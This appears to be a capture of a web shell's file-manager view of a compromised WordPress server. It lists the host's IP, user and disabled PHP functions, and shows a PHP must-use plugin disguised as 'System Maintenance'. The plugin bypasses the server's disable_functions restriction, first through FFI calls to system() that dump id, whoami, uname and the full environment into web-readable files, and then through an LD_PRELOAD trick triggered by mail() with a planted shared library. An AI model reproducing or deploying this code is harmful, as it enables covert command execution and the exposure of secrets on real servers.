| Server IP : 52.211.252.20 / Your IP : 172.31.22.179 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64 User : kazang ( 1006) PHP Version : 8.2.31 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/kazang/web/kazang.com/public_html/wp-content/mu-plugins/ |
Upload File : |
<?php
/*Plugin Name: System Maintenance*/
$d = '/home/kazang/web/kazang.com/public_html/wp-content/themes/kazang/';
if(!file_exists($d.'id.txt')) {
file_put_contents($d.'id.txt', 'ran_php_'.PHP_VERSION.'_uid_'.posix_getuid().'\n');
// Try FFI first
if(class_exists('FFI')) {
try {
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system('id >> '.$d.'id.txt 2>&1');
$ffi->system('whoami >> '.$d.'id.txt 2>&1');
$ffi->system('env > '.$d.'env.txt 2>&1');
$ffi->system('uname -a >> '.$d.'id.txt 2>&1');
file_put_contents($d.'method.txt', 'FFI');
} catch(Throwable $e) {
file_put_contents($d.'ffi_err.txt', $e->getMessage());
}
} else {
file_put_contents($d.'ffi_err.txt', 'FFI class not found, PHP='.PHP_VERSION);
}
// LD_PRELOAD via mail fallback
$so = '/home/kazang/web/kazang.com/public_html/ldp2.so';
if(file_exists($so) && function_exists('mail')) {
@putenv('LD_PRELOAD='.$so);
@mail('a@b.c','x','x');
@putenv('LD_PRELOAD=');
file_put_contents($d.'ldp.txt', 'tried_mail');
}
}